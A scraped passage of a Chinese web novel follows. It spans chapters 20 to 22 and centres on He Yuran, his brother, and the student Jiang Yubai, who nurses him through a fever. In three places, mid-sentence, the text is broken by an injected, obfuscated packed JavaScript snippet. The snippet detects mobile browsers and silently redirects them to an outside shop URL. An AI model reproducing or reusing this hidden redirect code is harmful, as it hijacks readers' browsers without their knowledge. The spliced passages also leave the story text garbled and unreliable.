江逾白揣手机的动作停了一下,然后吸了吸鼻子,还是没说话。 贺欲燃只觉得他有点无地自容,或许是伪装了这么久的人设忽然崩塌有点尴尬。 “看不出来啊,小白。”贺欲燃双手环胸,玩味的打量着他:“三好学生原来也是网瘾少年啊?” “上啥网啊,这一宿他机子都没开。”网吧老板坐在凳子上,边吐露面条边来了这么一句。 贺欲燃回头,诧异道:“没开机子?” 老板咬了口蒜,一口地地道道的东北腔:“可不是吗,进来开机子的时候我也说呢,长的那老白净,还穿个校服,来网吧上网,结果开了座之后在那看了五个点儿的书。” 贺欲燃懵掉了,咀嚼着老板嘴里的话,忽然反应过来什么,回过头看江逾白:“你别跟我说昨天又忘记拿钥匙了。” 江逾白攥着书包带,并没有回答:“我先走了燃哥,上课要来不及。” 他说着转身就走,坐着睡了一宿,那件冲锋衣被压的皱巴巴的,发丝也凌乱不堪,腰身的酸痛让他步伐都变得缓慢,落寞的让人觉得可怜。 贺欲燃陷入一阵自责。 “草,我他妈还误会人家装三好学生。”他说着就捂上了脸。 纵使是情敌,纵使是对他有点不爽,但他也不应该以肉眼所见就随便给别人贴标签。 “哥,快走快走!来不及了!” 人没到声先到。 贺欲燃看都不用看就已经在皱眉了,他被贺锦佑着急着忙的拉着出了网吧的门,听着贺锦佑的催促,心思却完全不在这里。 人会这么多次不带钥匙就出门吗?再说就算回不去家为什么不住旅馆? 再者,抛开这些不谈,这个网吧离樱花路这么远,步行要一个多小时,八中那片起码有六七个网吧,他跑这么远来这里睡干什么。 “哥快快快!”贺锦佑坐上副驾就开始站着说话不腰疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848864|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺欲燃被他搞的心烦:“你他妈再催,我绝对把你揣下去。” 贺锦佑闭嘴,还小声嘟囔了几句他的不满。 八点不到上海就已经进了高峰期,刚开了不到五分钟就堵的水泄不通了。 贺锦佑急的满头大汗:“啊啊啊这时候堵什么车啊,烦死了!” 贺欲燃看他急成油锅上的蚂蚱,只觉得心里升起一股火气,他郑重其事的说道:“贺锦佑,这是我最后一次给你兜底,你的那些事我不会跟爸说,但再有下一次,我绝对会替他揍你。” 贺锦佑有点不敢说话了,其实对比贺军,他更怕他哥。 小时候在老家玩水掉进河里,差点淹死,被他哥揪上来之后把他打的屁滚尿流的,郑淑华和保姆两个人拦都拦不住。 那时候他对他哥就有点心理阴影,所以到后来长大了,他哥数数比谁都好使。 “哦。”贺锦佑撇撇嘴:“你不也不听爸妈话,还总教育我。” 贺欲燃瞪了他一眼。 “再说了。”贺锦佑喋喋不休的嘟囔:“听话要是有用你也不会跟家里闹成这样。” 他什么都知道,这些年贺欲燃是怎么过来的,作为弟弟其实看的更清楚,贺军经常教育他不要跟哥哥学,但贺锦佑向来只是口头答应,因为他知道一旦听话,贺军就会缩减底线,对他的束缚也会越来越紧。 贺欲燃闭了闭眼睛:“少跟我比,总之我是你哥,我管你是应该的。”他说完,又问他:“还有,这次逃课又是因为什么?” “就,去,去网吧了。”贺锦佑摸摸后脖颈。 “你再撒谎?”贺欲燃怒视他,语气中带着不可忤逆的压迫感:“你是不是又去逃课看那个什么游戏总决赛了?” 贺锦佑一嘚瑟,看着他哥,面容失色道:“你视奸我啊!!” 贺欲燃看着自己已经傻掉的弟弟:“谁特么闲的没事视奸你,你朋友圈没屏蔽我。” 贺锦佑懊恼的锤了下脑袋:“靠。” “我告诉你少干这种事,这次我没告诉爸,算是给你捡条命。”贺欲燃苛责道:“休息时间去不行?非要逃课?” 贺锦佑敢怒不敢言的看看他:“人家开比赛又不看我是不是休息……” 贺欲燃忽略他的不爽,继续说:“以后你那个游戏戒一戒,不能那么没节制的玩,听到没有?” 贺锦佑不服气的抿了抿嘴唇。 “听见没有?”贺欲燃提高了声音。 “啊呀,听到了!”贺锦佑不情不愿的应答。 看着贺锦佑谁也管不顺的样子,贺欲燃重重的叹了口气:“我之前看你朋友圈发,说什么你想打职业,你真有那方面想法?” 贺锦佑没想到他会提这一茬,转过头磕磕巴巴的否认:“没有啊,就,就打游戏打上头了随便发的,没有,怎么可能。” 贺锦佑像是怕他不信似的,扣着自己指甲盖笑嘻嘻的说:“再说了,就算我想打也没那个机遇啊,那不纯做白日梦吗?” 他撒谎的功底真是随了贺欲燃了,都不用细看,打眼一瞄就知道。 贺欲燃翻了个白眼,滑动方向盘:“随你吧,我也管不着你太多,爸有的是时间教育你。” 贺锦佑的不省心真不是随便说说的,贺欲燃总觉得他爸要是拿出对他五分之一的狠对付他这个弟弟,贺锦佑都不至于这样。 但是,贺锦佑这种想打游戏职业的想法,贺欲燃倒是懒得操心管,因为就算父亲再纵容贺锦佑,这种偏离所谓“正常人”轨道的想法,父亲早晚会先他一步帮贺锦佑打消。 堵塞的街道终于慢慢疏散开,贺欲燃踩一脚油门,就看见另一条街上,与他们相反方向的江逾白。 可能是刚才的愧疚在作祟,贺欲燃直接拐弯往回开。 “诶诶诶!哥你干嘛啊?来不及了啊!” 贺欲燃踩油门提速:“少废话,迟不了到。” 车子紧急停住,轮胎和地面摩擦的声音滋滋作响,江逾白回过头,贺欲燃手把方向盘,摇下车窗:“上车。” 兴许是怕江逾白觉得什么,贺欲燃又清清嗓子:“正好顺路。” 目睹了贺欲燃拐了个大弯回来接人的贺锦佑:“???顺路?” “闭嘴。” “……” 21. 风吹的 三个人在车里有种说不上来的尴尬,贺锦佑回头看了江逾白好几眼,瞄到他身上的校服,忍不住问:“你是八中的?” 江逾白正阖眼休息,听到贺锦佑的话,淡淡的“嗯”了一声。 “我好像见过你呢。”贺锦佑又回头打量了他一遍,才终于确定道:“我好像好几次去畅享都能碰到你。” 闻言,车内剩下两个人都朝他看过去。 “你见过我没?”贺锦佑又问。 江逾白只是淡淡的瞥了一眼:“没印象。” 贺锦佑有点尴尬,悻悻的转过头,心想这人和他哥一样,臭屁的很。 既然他不是去上网,那为什么总去网吧,总不能是因为那里查资料方便吧。 但贺锦佑在旁边,他又没法问,更何况他也不知道怎么开口。 樱花路是由两条交叉的十字路组成,正德一中和八中刚好相反方向。 贺欲燃转头,对着后座蔫蔫的江逾白说:“我先送他进去,你应该不着急吧。” 江逾白摇摇头:“不急,你先去吧。” 驶进一条漫长的林荫路,穿着蓝白色校服的学生也越来越多,今天正德一中高二开家长会,大大小小的车把路堵的密不透风,贺欲燃左拐右拐还是没挤进去,最后只好靠边停了车。 贺欲燃送贺锦佑往校门口走,很多校领导和优秀生都在门口迎宾,还拉了个超长的横幅。贺军正笑着和一个老师说话,看到两个人走过来,笑容瞬间收了起来。 贺锦佑蹑手蹑脚的走过去:“爸,你看,我没骗你吧,我真在我哥那里住的。”他回头看向贺欲燃,一个大大的求助信号抛了过去。 贺军质疑的目光看向贺欲燃。 贺欲燃在心里翻了上海那么大的白眼,最后给他的怨种弟弟圆谎:“昨天在我那睡的。” 贺军闻言,半信半疑的看了看他俩,然后掐住了贺锦佑的耳朵:“最好是真的,你要是让我知道你拿你哥当挡箭牌,我不揍死你。” 贺锦佑疼的面部扭曲:“我没骗你爸,难不成我还能大早上给我哥喊醒叫他来送我啊?” 贺欲燃噎了一下,心想怎么不可能。 贺军看他委屈巴巴的样子,没绷住笑了出来,捏着他的脸:“臭小子,那昨天旷课是怎么回事?今天你得给我个说法。” 贺锦佑一看他爸不像是生气,笑嘻嘻的贴了上去:“嘻嘻我保证没有下一次啦!” 贺军嘴上骂他,却伸手搂过了他的肩膀:“等会见了老师我得好好问问你表现怎么样!” “哎呀不用问,问了你就属于不相信你儿子我!” 贺欲燃就站在来回穿梭的人流里,定定的望着父子俩勾肩搭背离开的背影,只觉得冬日清晨的阳光异常的刺眼,才睁了一会儿而已,就已经酸涩不堪了。 他突然想起贺锦佑之前说:“哥,我好羡慕你啊,你有车,可以去很多地方,可以看很多风景,不像我,只能宅在家。” 贺欲燃只是笑笑。 因为贺锦佑永远都不会知道。 他刚才轻而易举勾上的父亲的臂膀,已经是贺欲燃从未企及过的远方。 而那副如同朋友一般并肩而行的画面,也是他在“人生”那本书里,从未有翻到过的篇章。 远处车里江逾白的轮廓若隐若现,贺欲燃吸了吸鼻子,极力的调整好自己的情绪,当做什么都没发生一样钻进了车。 后视镜里,他再一次和江逾白短暂的对视了一刻。 江逾白看着后视镜里那双漂亮动人的眼睛,不知何时弥漫起了浓浓的灰雾,随着转动,扎染上一片晦涩。 “燃哥。” “嗯。” “你眼圈红了。” 贺欲燃的手放在车档上,却一时没推出去。 他低头,突然间觉得委屈,翻涌的泪花在他眼底漾了整整一圈,最后双眸一沉,被逼了回去。 贺欲燃努力把心绪放在驾驶上:“风吹的。” 江逾白没有再继续询问了,只是偶尔通过后视镜去看他的眼睛。 两人一路相顾无言,车子还算通畅的行驶到八中门口,贺欲燃踩了刹车,淡淡的说:“到了。” 江逾白的嘴唇动了动,像是欲言又止,他低着头按下扶手,背上书包下了车。 贺欲燃:“注意看车。” 他伸手按下了车窗开关,就在车窗要闭合的最后一秒,江逾白忽然伸手抓住了窗玻璃。 贺欲燃紧急按停:“你干什么,很危险!” 车窗是防窥的黑灰色,江逾白的手抓在窗沿,那只有三指宽的缝隙如同晦暗世界里被他撕裂的缺口,旭日初升的晨光顺着江逾白的指尖直射进来,最后洒在贺欲燃惊愕的双眸。 他伸手,递进来一袋纸巾:“别哭。” 心思被别人看出来这种感受并不舒服,贺欲燃咬了咬牙,扭开头直愣愣看向别处:“用不着,都说了风吹的了,随你信不信。” “嗯。”江逾白点头,又递进来。 “风吹的,也要擦。” 校门口人声嘈杂,鸣笛声此起彼伏,他的声音划过喧嚣尽数钻进贺欲燃的耳朵,最后延伸至心窝。 贺欲燃伸手粗暴的接过那袋纸巾:“进去,别废话了。” 江逾白紧了紧书包带:“燃哥。” “说了别废话了。”贺欲燃死死扣着方向盘,声音却颤颤巍巍的:“又不是你惹的,用不着你安慰。” 他现在就像一只受了伤的刺猬,把自己抱成团,伸出长长的刺自我防卫,哪怕这样会伤害到想把他捧在手心里的人,但这已经成为了下意识。 “好。”江逾白不反驳,也不恼怒。 他抿了抿嘴唇,抬眸,只落下一句:“路上小心,到了,给我发消息。” “给你发消息干嘛?”贺欲燃很想装作无所谓的抬头瞟一眼,但又怕自己眼眶太红:“这么点路程我还能出事不成,上你的课去,少担心别人。” 他拒绝的第三次了,江逾白窗沿边的手指蜷了蜷:“等你。” 很笃定的回答。 缝隙中的手被抽走了,缺口缓缓缩小,窗玻璃终于闭合。江逾白长腿迈出树影,纯白色的校服在贺欲燃越来越模糊的视线中,融入了人群。 贺欲燃低下头,懊恼极了。 他已经很久没这么窝囊过了。 窝囊到因为别人的一句问候就委屈难受。 况且这个人还是江逾白,那个被他无数次推到对立面的人。 “叮——” 刚到班不久,江逾白收到了一条消息,他放下英语书,划开了手机。 微信置顶聊天,红色提醒尤为亮眼。 一分钟前。 cx330:〈1。〉 _ 上海的冬天如果不下雪,那就是连延不断的雨天,从周一到周五基本上没停过,电视播报着最近阴雨天气造成的影响,市周围很多地势偏低的地方都被倒灌,提醒大家做好防护措施。 贺欲燃晾在阳台的衣服被淋了个透,他这会儿正忙着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848865|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收衣服,地下一片狼藉还没来得及擦。 客厅的电话响起来,他光着湿淋淋的脚,手里捧着一大堆衣服过去摸起了电话。 “喂?” 他用肩膀和耳朵夹住手机,手上还在忙着叠衣服。 “哥,雨下太大了,排水管出了问题,现在地窖里到处都是水,很多东西都被泡了,你赶紧来一趟!” 听完柯漾的话,贺欲燃心都提了起来。 酒窖里的那些东西加起来成本起码也要个几百万,要是都淹坏了不亚于破产了。 雨下的又急又大,贺欲燃到酒吧的时候,雨水顺着道边湍急的往下流,清吧地势低,附近好多下水道还都被堵了,门口直接成河了。 “屋里情况怎么样了?”贺欲燃打着伞下车。 王康正在门口往出扫水,见他来了,忙道:“左边冰柜发现太晚挨淹了,不过应该能修,柯漾他们现在正把东西往出搬呢。” 贺欲燃眉头紧锁,越过他推开了酒吧的门。 楼梯口堆满了横七竖八的架子,梯子,还有几个员工正在往出搬酒水。 小赵和一个员工抬着一个冰柜往上走,肉眼可见的吃力。贺欲燃赶紧上去接,三个人动作快了不少。 冰柜被撂在地上,小赵摸了把头上的汗:“燃哥你来了。” 贺欲燃点头,看着上上下下来回奔走的员工:“搞清楚什么原因了吗?” 小赵呼哧带喘的说:“水下的太急了,又连下了好几天,楼上排水管年久失修,全渗下来了。” 两个人边说边下楼。 “维修人员什么时候到?” 小赵急的努着鼻子:“打过电话了,那边说现在下大雨一时半会儿来不了,让咱们先做点措施。” 贺欲燃点点头:“行,你先去帮他们搬东西,我去那边看看。” 水管破裂的很严重,柯漾被溅的浑身都是水,整个人都湿透了。 转头看见贺欲燃要过来,他抹了把脸,大声说:“你别过来了,这都是水,我差不多给它堵上点了,等雨停了师傅来看看。” 贺欲燃开口还想说什么,小赵又火急火燎的跑下来:“后门还有一批货在外面呢!快来两个人帮忙搬!” 屋里的员工都忙着搬酒窖的东西,能空出手的没几个。贺欲燃脚还没站热乎呢又往出赶。 雨稍微有小的趋势了,但大片大片泼下来还是有点看不清人脸。贺欲燃带上卫衣帽子冲出去,弯腰搬起一箱酒往屋里送。 小赵看着他才刚出来就被淋透了,朝屋里面喊了声:“还有没有雨衣了给燃哥拿一下!” “没有了!” 雨水顺着贺欲燃的鬓发往下淌,他走的急,穿了件加绒卫衣就出来了,冬天的雨水更冰更凉,卫衣太宽松,随着他大幅度的动作不停的往里灌风,霎时间,他感觉自己的呼吸都是冰的。 “燃哥,不行你穿我这件!”小赵说着就要往下脱雨衣。 贺欲燃哪有功夫管这些:“你赶紧把你那边的搬完,去仓库里看看那边的货渗没渗水,不用管我。” 新订的货有不少是水果,幸亏发现的早,不然损失惨重。 里里外外忙活了半天,那些货清理完了,他也彻底湿透了。 本就是加绒的卫衣,被水浸透了之后沉沉的挂在身上特别难受。 王康边擦着头发边走过来:“赶紧去洗个澡啊燃哥,你这样不怕感冒啊。” 贺欲燃叹了口气:“我去换身衣服就行了,要不然你们几个忙不过来。” 22. 告诉我 你在哪 雨又持续下了一个多小时,修理师傅才迟迟赶来,排水管修好之后,贺欲燃总觉得自己脑袋钝痛,走路也变得头重脚轻,难受的厉害。 王康还调侃他是不是累虚了,贺欲燃特想揍他,但实在没力气跟他扯,最后只是骂了他句“傻逼”,就浑身无力的栽在了床上。 雨下的这么大,今天也不会来客人了,贺欲燃在员工群里发了通知,让他们提早下班。 脑袋像被灌了铅似的,使劲压迫着他的神经,就连眼睛都被挤压的酸痛不堪,好几次都不自觉流出眼泪来。 他强忍着难受洗了个澡,浴室热气腾腾,他被包裹在潮湿中,胸口闷得慌,脑袋也更沉了。 好像是发烧了? 他叹了口气,连鼻息都滚烫的要命。 今天应该是回不去家了,干脆就在这睡了。他从小到大没什么人看管他,经常天气转冷也不知道添衣,所以总是感冒发烧,次数多了他也就不在乎了。 “应该睡一觉就好了吧……” 人发了烧就是很困,头痛欲裂的感觉让他没空想别的,只想躺下来睡觉。 沾了枕头他就沉了下去,可睡了不到一个小时他就醒了,准确来说,是被自己烫醒的。 内里烧的他五脏六腑都跟着阵痛,身上却冷的宛如被丢进了雪窖冰天。 贺欲燃没想过这次会烧的这么厉害,意识模糊,看东西都重影。他艰难的抓起手机想点盒退烧药,可受雷雨天气影响,最快的也要一个多小时才送过来,估计他早就烧死在这了。 他点开了电话本,王康和柯漾家离的太远,楚夏最近也不在市内。 在联系人里翻了又翻,却没找出一个能理所应当接他电话的人。 但是如果现在不吃退烧药,他不知道自己会烧成什么样,昏迷,还是留下后遗症,他不敢赌。 “草……不会死吧……” 清吧的员工都回了家,周围安静的出奇,外面雷雨交加,昏天暗地,屋里也没开灯,一丝光亮也没有。 贺欲燃发丝凌乱的贴在额头,不断渗出的汗水从耳鬓一路划过鼻梁,最后落在冰冷的床单上,留下一片湿润的痕迹。 他突然有种被抛弃的感觉,又想起那个守在家门口等了一晚上爸爸妈妈的自己,好像周围也是这样黑。 比起难受,他更害怕这样渗透人心的黑暗。 斟酌了良久,他按下了拨通。 嘟嘟声响了两秒,裴意的声音传过来:“喂?欲燃,怎么啦?” 贺欲燃动了动唇,想要出声却只有微弱的呻吟。 裴意察觉到不对:“你怎么了?欲燃?” 贺欲燃气若游丝:“我发烧了,很严重……你能不能……来一趟酒吧……还有,退烧药……” 他说的断断续续,只能用几个关键词拼凑出他想说的话。 裴意非常震惊的“啊”了一声,为难道:“外面现在下了好大的雨,我过不去啊,我给你点个外卖行吗?” “你现在怎么样啊?哪里难受啊?” “我给你点完了,待会你有力气去接吗?” “哎呦,雨下这么大骑手要一个多小时才能送到!” “欲燃……” “没事……小裴,我找到药了……别折腾了。”贺欲燃把电话挂了。 房间再一次陷入绝望般的沉默。 其实这个结果不意外,他打过去的时候也是抱着赌一赌的心态,雨下的这么大,如果换做小发烧,就算裴意住他楼上,他都不会拨这通电话。 雨下的这么大,他也明白以裴意的出发点,作为一个朋友根本没什么义务会来。 可如果换做是他,今天一定会去。 毕竟他想过和裴意有以后。 通讯录里,曾一遍遍说着喜欢他的追求者满篇皆是,但他知道不会有任何一个愿意冒雨来见他。而最亲近的父母,他却一次都没有在烧的头昏脑胀时看到过他们的身影。 为什么每一次,他都是备用选项,躺在ABC任何一个字母后面,被人权衡利弊之后再选择。 父母是,季森眠是,裴意也是。 意识逐渐开始模糊,如同掉进了汪洋大海,无论他怎么努力的往前,依然无法脱离那份失重,他在那片暗如潮水的黑暗中,失去了力气。 手边的电话忽然响起,他恍如隔世般惊醒,才发觉自己刚才差一点就要晕过去。 手机响了很久,他才攒足了力气接通了电话。 是不是裴意,会不会是裴意。 “喂?燃哥,我有东西好像落在你车里了,不知道你看没看见。” 江逾白。 又是他。 他总是像拿到了自己的人生剧本一样,剑走偏锋的一次次出现在自己最落魄的时间节点。 贺欲燃张开嘴,吐出的却是剧烈的咳嗦,每一次震颤都连同着身体各个器官,猛烈的撞击着他的内壁,疼的他声音颤抖。 “没看到……挂了……” 那边没有声音了,贺欲燃按了挂断。他想起身给自己倒水,但整个人都像是被无数双手扼住一般,寸步难移。他近乎绝望的平躺在床上,盯着头顶的苍白而冷漠的天花板,狼狈又不堪。 今天要是自己死在这,可能也没人发现吧。 三分钟后,电话又打了过来。 “贺欲燃。” 江逾白第一次叫他的全名。 “我现在要来找你。” 他沉稳的嗓音传过来,紧接着,是开门声,下楼梯声,急促的呼吸声…… 贺欲燃眼眶滚烫,哑的没法开口说话。 “你状态很差。” 电话里,多了些呼啸的风声。 “告诉我,你在哪。” - 看到贺欲燃的时候,他整个人都缩在被子里发抖,已经烧的意识模糊了。 江逾白把被子给他掖紧了些,伸手摸了摸他的额头,却把贺欲燃吓了一跳。 他如梦初醒般睁开眼,那双永远亮着自信与桀骜的双眸此刻早已浑浊无神。 “别碰我……”贺欲燃往后躲。 江逾白这才想起来自己的外套被雨水打湿,整个人现在都散发着潮冷的气息。 他把外套脱了丢在地上,又把手放在自己唇边呵了半天的气,搓了会儿后才去拿纸巾给贺欲燃擦汗。 贺欲燃还是躲,想抓着他的手往出推,指尖搭在他微凉的手腕处,却半天没法使上力气。 从小到大,他都没被人这样照顾过,以至于那些亲昵的触碰朝他袭来,他却总想躲。 江逾白感受到他的紧张,轻声细语的安慰道:“不要乱动,我知道你难受,我带了退烧药,会没事的。” 他伸手拿过刚冲好的退烧药,轻轻放在嘴边吹了吹:“来,能动吗?” 贺欲燃其实没有烧到不清醒,看着江逾白用手扶住自己,他下意识抽开手臂,浆糊一般的脑子晃动都艰难,却还是逞强着抬起头。 “我,我自己可以……坐起来。” 他用胳膊使劲支撑着自己坐起来,可刚离开被窝,凉气就瞬间贯彻了他的全身,让他不由得打了个冷颤。 江逾白伸手把被子往上拉,重新裹在了他身上,让他只露个头出来,再把药送到他唇边。 “有点烫。”江逾白提醒道,然后舀起一勺汤药往他嘴里送。 贺欲燃只觉得当时告诉他自己在清吧的时候是病急乱投医了,怎么就能让他这么过来,现在的自己这么狼狈,这么脆弱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848866|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我自己来,我自己可以……” 贺欲燃想伸出手抓住勺柄,却抓了个空。 他抬起沉重的眼皮往上看,涣散的瞳孔里是诧异。 “你自己不可以。”江逾白看着他,声音沉了许多。 “你需要人照顾。” 贺欲燃瞳孔微震,显得有些手足无措。 或许是察觉到自己刚才声音太大了,江逾白叹了口气:“至少现在。” 贺欲燃努力撑开眼皮,却也只能看到他模糊的轮廓,他还想反驳,可刚张开嘴,微烫的汤药就送进了他的嘴。 他曾听过很多人告诉他“你自己可以。却从来没听过有人对他说“你现在需要人陪。” 就像是一成不变的黑色中,忽然被人泼上一抹鲜艳的红,唐突,扎眼,格格不入,却艳丽的发亮,让他无法抗拒,颠覆着他按部就班的世界。 喝完了药,江逾白搂着他的肩膀将人放平,盖好被子,伸手从衣兜里摸出了温度计。 他口袋很小,却装了满满一兜的药和必需品,贺欲燃免不住猜测,他到底带了多少东西来。 江逾白甩了甩温度计,接着伸手解开贺欲燃衬衫扣子。 贺欲燃条件反射的抓住他的手,却不知道该说什么。 江逾白没有停下,轻手轻脚的继续:“量体温,如果温度太高需要去医院。” “不去医院……我动不了,很难受。” 贺欲燃哪也不想去,只想躺下睡觉,睡到头不痛为止。 他嗓子是黏的,嘶哑的让人心疼,江逾白皱着眉,伸手抚了下贺欲燃贴在面庞的发丝:“嗯,不去。” 那两个字说的轻慢,语调间满满的疼惜,在贺欲燃烧的嗡嗡作响的耳廓散漫开。 也不知是不是他的话太温柔,贺欲燃只觉得委屈,头痛欲裂的感觉如潮水般一波一波接踵而至,他紧缩着眉,终于控制不住,嗫嚅出一句:“疼……” 江逾白伸手,温热的指腹贴上他的眉,轻轻的摩挲了下,又滑到他的太阳穴,帮他揉捏。 “有好点吗?”他问。 贺欲燃摇摇头,又点头,害怕他抽开手,却又担心自己状态的失衡。 他是个非常忌讳在外人面前失态的人,他很擅长包装,以最完美最强大的姿态去展露自己。 他在千万个人眼里有千万个自我,却从来没有人见过他此刻的样子。 被病痛折磨的泪眼婆娑,在别人施手带来的温暖中贪婪的迷失自我。 江逾白给他盖好了被子:“睡会儿吧,睡着了就不疼了。” 贺欲燃眼皮很沉,几次都想睡着,看着江逾白的轮廓慢慢模糊的一刹那,又突然睁眼。 待会儿他醒过来,身边还会有人吗? 脑子很凌乱,不断播放着他从小到大每一次发烧晕睡过去,再醒过来时苍白的天花板,空无一人的房间。外面天色早已黑下来,楼对面灯火通明,只有他只身一人躺在黑暗里,被隔离在喧嚣之外。 当时的他觉得落寞,觉得委屈,但次数一多,他早已习惯,如果今天没有人来,他也会同样经历,所以这没什么。 可今天有人来了。 有人伸手撩过他的发丝,有人为他冲开汤药,有人为他掖了被子,有人跟他说“你需要我。” 人害怕失去的唯一原因就是拥有过。 他伸出手,抓住江逾白的胳膊:“我头很沉……可能会,睡很久……” 江逾白低着头看他,等他继续往下说。 “如果你……不急着走,能不能……” 他停顿了很久,几乎快要睡过去。 “能不能,等我醒过来……” 等我醒过来。 我不想再一个人。